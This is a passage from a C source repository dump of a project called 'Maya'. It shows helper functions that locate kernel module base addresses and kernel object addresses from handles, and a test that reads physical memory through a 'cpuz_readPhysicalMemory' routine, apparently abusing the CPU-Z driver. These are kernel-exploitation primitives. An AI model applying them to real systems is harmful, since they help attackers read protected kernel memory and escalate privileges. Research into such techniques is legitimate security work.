235 | k = miSpace->Modules[i].OffsetToFileName;
236 | if (_strcmpi_a(
237 | (CONST CHAR*)&miSpace->Modules[i].FullPathName[k],
238 | ModuleName) == 0)
239 | {
240 | ReturnAddress = (ULONG_PTR)miSpace->Modules[i].ImageBase;
241 | break;
242 | }
243 | }
244 | supHeapFree(miSpace);
245 | }
246 | return ReturnAddress;
247 | }
248 |
249 | /*
250 | * supQueryObjectFromHandle
251 | *
252 | * Purpose:
253 | *
254 | * Return object kernel address from handle in current process handle table.
255 | *
256 | */
257 | BOOL supQueryObjectFromHandle(
258 | _In_ HANDLE hOject,
259 | _Out_ ULONG_PTR *Address,
260 | _Inout_opt_ USHORT *TypeIndex
261 | )
262 | {
263 | BOOL bFound = FALSE;
264 | ULONG i;
265 | DWORD CurrentProcessId = GetCurrentProcessId();
266 |
267 | PSYSTEM_HANDLE_INFORMATION_EX pHandles;
268 |
269 | if (Address == NULL) {
270 | return bFound;
271 | }
272 |
273 | *Address = 0;
274 |
275 | pHandles = (PSYSTEM_HANDLE_INFORMATION_EX)supGetSystemInfo(SystemExtendedHandleInformation);
276 | if (pHandles) {
277 | for (i = 0; i < pHandles->NumberOfHandles; i++) {
278 | if (pHandles->Handles[i].UniqueProcessId == CurrentProcessId) {
279 | if (pHandles->Handles[i].HandleValue == (USHORT)(ULONG_PTR)hOject) {
280 | *Address = (ULONG_PTR)pHandles->Handles[i].Object;
281 | if (TypeIndex) {
282 | *TypeIndex = pHandles->Handles[i].ObjectTypeIndex;
283 | }
284 | bFound = TRUE;
285 | break;
286 | }
287 | }
288 | }
289 | supHeapFree(pHandles);
290 | }
291 | return bFound;
292 | }
293 |
294 | /*
295 | * supCopyMemory
296 | *
297 | * Purpose:
298 | *
299 | * Copies bytes between buffers.
300 | *
301 | * dest - Destination buffer
302 | * cbdest - Destination buffer size in bytes
303 | * src - Source buffer
304 | * cbsrc - Source buffer size in bytes
305 | *
306 | */
307 | void supCopyMemory(
308 | _Inout_ void *dest,
309 | _In_ size_t cbdest,
310 | _In_ const void *src,
311 | _In_ size_t cbsrc
312 | )
313 | {
314 | char *d = (char*)dest;
315 | char *s = (char*)src;
316 |
317 | if ((dest == 0) || (src == 0) || (cbdest == 0))
318 | return;
319 | if (cbdest < cbsrc)
320 | cbsrc = cbdest;
321 |
322 | while (cbsrc > 0) {
323 | *d++ = *s++;
324 | cbsrc--;
325 | }
326 | }
327 |
--------------------------------------------------------------------------------
/src/Maya/sup.h:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2018
4 | *
5 | * TITLE: SUP.H
6 | *
7 | * VERSION: 1.00
8 | *
9 | * DATE: 10 Feb 2018
10 | *
11 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
12 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
13 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
14 | * PARTICULAR PURPOSE.
15 | *
16 | *******************************************************************************/
17 |
18 | #pragma once
19 |
20 | BOOL supWriteBufferToFile(
21 | _In_ LPWSTR lpFileName,
22 | _In_ PVOID Buffer,
23 | _In_ DWORD BufferSize);
24 |
25 | PVOID FORCEINLINE supHeapAlloc(
26 | _In_ SIZE_T Size);
27 |
28 | BOOL FORCEINLINE supHeapFree(
29 | _In_ PVOID Memory);
30 |
31 | PVOID supGetSystemInfo(
32 | _In_ SYSTEM_INFORMATION_CLASS InfoClass);
33 |
34 | ULONG_PTR supGetNtOsBase(
35 | VOID);
36 |
37 | ULONG_PTR supGetModuleBaseByName(
38 | _In_ LPSTR ModuleName);
39 |
40 | VOID supPrintText(
41 | _In_ LPWSTR lpText);
42 |
43 | VOID supShowError(
44 | _In_ DWORD LastError,
45 | _In_ LPWSTR Msg);
46 |
47 | BOOL supQueryObjectFromHandle(
48 | _In_ HANDLE hOject,
49 | _Out_ ULONG_PTR *Address,
50 | _Inout_opt_ USHORT *TypeIndex);
51 |
52 | void supCopyMemory(
53 | _Inout_ void *dest,
54 | _In_ size_t cbdest,
55 | _In_ const void *src,
56 | _In_ size_t cbsrc);
57 |
--------------------------------------------------------------------------------
/src/Maya/test.c:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2018
4 | *
5 | * TITLE: TEST.C
6 | *
7 | * VERSION: 1.00
8 | *
9 | * DATE: 10 Feb 2018
10 | *
11 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
12 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
13 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
14 | * PARTICULAR PURPOSE.
15 | *
16 | *******************************************************************************/
17 |
18 | #include "global.h"
19 |
20 | void TestConvert()
21 | {
22 | WCHAR szBuffer[100];
23 |
24 | PWCHAR text;
25 | ULONG_PTR phy = 0;
26 |
27 | _strcpy(szBuffer, TEXT("test message"));
28 |
29 | text = VirtualAlloc(NULL, 65536, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
30 | if (text) {
31 |
32 | if (VirtualToPhysical((ULONG_PTR)&szBuffer, &phy) != 0)
33 | {
34 | cpuz_readPhysicalMemory(phy, text, 64);
35 | supPrintText(text);
36 | }
37 | }
38 | MessageBox(GetDesktopWindow(), TEXT("Press OK to close"), TEXT(""), MB_OK);
39 | }
40 |
--------------------------------------------------------------------------------
/src/Maya/test.h:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2018
4 | *
5 | * TITLE: TEST.H
6 | *
7 | * VERSION: 1.00
8 | *
9 | * DATE: 10 Feb 2018
10 | *
11 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
12 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
13 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
14 | * PARTICULAR PURPOSE.
15 | *
16 | *******************************************************************************/
17 |
18 | #pragma once
19 |
20 | void TestConvert();
21 |
--------------------------------------------------------------------------------